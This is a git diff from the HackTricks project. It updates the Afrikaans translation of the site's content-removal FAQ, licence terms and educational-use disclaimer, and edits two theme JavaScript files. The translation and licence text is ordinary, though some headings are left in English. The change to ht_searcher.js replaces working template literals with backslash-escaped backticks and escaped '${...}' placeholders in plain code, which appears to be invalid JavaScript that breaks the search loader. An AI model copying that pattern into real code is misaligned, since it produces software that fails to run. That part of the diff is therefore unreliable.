+> - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek wil dit nie daar hê nie?**
-Neem asseblief kennis dat die hê van skakels na jou bladsy in HackTricks:
+Let daarop dat om skakels na jou bladsy in HackTricks te hê:
- Verbeter jou **SEO**
-- Die inhoud word **vertaal na meer as 15 tale**, wat dit moontlik maak dat meer mense toegang tot die inhoud kry
-- **HackTricks moedig** mense aan om **jou bladsy te besoek** (verskeie mense het vir ons gesê dat sedert 'n bladsy van hulle in HackTricks is, hulle meer besoeke kry)
+- Die inhoud word na meer as 15 tale vertaal, wat dit vir meer mense moontlik maak om toegang tot hierdie inhoud te kry
+- HackTricks moedig mense aan om **jou bladsy te besoek** (verskeie mense het vir ons gesê dat sedert ’n bladsy van hulle in HackTricks verskyn het, hulle meer besoeke ontvang)
-As jy egter steeds wil hê dat die inhoud van jou blog verwyder word, laat weet ons en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
+As jy egter steeds wil hê dat die inhoud van jou blog uit HackTricks verwyder word, laat ons weet en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
> [!CAUTION]
>
-> - **Wat moet ek doen as ek gekopieërde inhoud in HackTricks vind?**
+> - **Wat moet ek doen as ek gekopieër/plak inhoud in HackTricks vind?**
-Ons gee altyd die oorspronklike outeurs alle krediet. As jy 'n bladsy vind met gekopieërde inhoud sonder die oorspronklike bronverwysing, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks toevoeg**, of **dit herskryf en die skakel byvoeg**.
+Ons gee altyd die oorspronklike outeurs alle krediet. As jy ’n bladsy vind met gekopieër/plak inhoud sonder die oorspronklike bron verwys, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, of **dit herskryf en die skakel byvoeg**.
## LISENSIE
-Copyright © Alle regte voorbehou tensy anders gespesifiseer.
+Copyright © Alle regte voorbehou tensy anders vermeld.
-#### Lisensie-opsomming:
+#### Lisensie Opsomming:
- Toekenning: Jy is vry om:
-- Deel — kopieer en herverdeel die materiaal op enige medium of formaat.
-- Aanpas — remikseer, transformeer en bou voort op die materiaal.
+- Deel — kopieer en herverdeel die materiaal in enige medium of formaat.
+- Aanpas — remix, transformeer en bou voort op die materiaal.
-#### Bykomende Bepalings:
+#### Bykomende Voorwaardes:
-- Inhoud van derde partye: Sommige gedeeltes van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud vind plaas onder die beginsels van billike gebruik of met uitdruklike toestemming van die onderskeie kopiereg-eienaars. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting rakende inhoud van derde partye.
-- Outeurskap: Die oorspronklike inhoud geskryf deur HackTricks is onderhewig aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te skryf wanneer jy dit deel of aanpas.
+- Third-Party Content: Sommige dele van hierdie blog/boek kan inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud word gedoen onder die beginsels van billike gebruik of met uitdruklike toestemming van die onderskeie kopiereghouers. Verwys asseblief na die oorspronklike bronne vir spesifieke lisensie-inligting rakende derdeparty-inhoud.
+- Authorship: Die oorspronklike inhoud geskryf deur HackTricks is onderworpe aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te ken wanneer jy dit deel of aanpas.
#### Uitsonderings:
-- Kommersiële gebruik: Vir navrae rakende kommersiële gebruik van hierdie inhoud, kontak my asseblief.
+- Commercial Use: Vir navrae oor kommersiële gebruik van hierdie inhoud, kontak my asseblief.
-Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte in verband met die inhoud nie. Alle handelsmerke en handelsnaamvoering wat in hierdie blog/boek voorkom, is die eiendom van hul onderskeie eienaars.
+Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte met betrekking tot die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek vertoon word, is die eiendom van hul onderskeie eienaars.
-**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, moenie hierdie webwerf besoek nie.**
+**Deur toegang tot of gebruik van HackTricks stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie saamstem met hierdie bepalings nie, moenie asseblief hierdie webwerf besoek nie.**
-## **VRYWARING**
+## **Disclaimer**
> [!CAUTION]
-> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingdoeleindes. Die inhoud binne hierdie boek word voorsien op 'n "as is"-grondslag, en die skrywers en uitgewers maak geen voorstellings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante illustrasies in hierdie boek nie. Enige vertroue wat jy op sulke inligting plaas, is daarom streng op jou eie risiko.
+> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en inligtingsdoeleindes alleen. Die inhoud in hierdie boek word verskaf op 'n "as is"-grondslag, en die outeurs en uitgewers maak geen verklarings of waarborge van enige aard nie, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid of beskikbaarheid van die inligting, produkte, dienste of verwante grafika in hierdie boek. Enige vertroue wat jy in sodanige inligting plaas, is dus streng op eie risiko.
>
-> Die skrywers en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit verlies van data of winste wat ontstaan uit of in verband met die gebruik van hierdie boek nie.
+> Die outeurs en uitgewers is onder geen omstandighede aanspreeklik vir enige verlies of skade nie, insluitend sonder beperking indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit verlies van data of wins wat voortspruit uit, of in verband met, die gebruik van hierdie boek.
>
-> Verder word die tegnieke en wenke in hierdie boek beskryf vir opvoedkundige en inligtingsdoeleindes slegs, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die skrywers en uitgewers keer nie onetiese of onwettige optrede goed nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie.
+> Verder word die tegnieke en wenke wat in hierdie boek beskryf word, slegs vir opvoedkundige en inligtingsdoeleindes verskaf, en moet nie gebruik word vir enige onwettige of kwaadwillige aktiwiteite nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed of ondersteun dit nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie.
>
-> Die gebruiker is alleenlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en bystand soek wanneer hulle enige van die beskryfde tegnieke of wenke probeer toepas.
+> Die gebruiker is uitsluitlik verantwoordelik vir enige aksies wat gebaseer is op die inligting in hierdie boek, en behoort altyd professionele advies en hulp te soek wanneer hy probeer om enige van die tegnieke of wenke hier beskryf te implementeer.
>
-> Deur hierdie boek te gebruik, stem die gebruiker in om die skrywers en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of kwaad wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin.
+> Deur hierdie boek te gebruik, stel die gebruiker die outeurs en uitgewers vry van enige en alle aanspreeklikheid en verpligting vir enige skade, verliese of nadele wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin.
{{#include ../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 761454181..22e64f5f8 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();
+
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 77f10f607..6b105f263 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
- const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
- const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+ const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+ const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
- const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
- const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+ const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+ const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();
+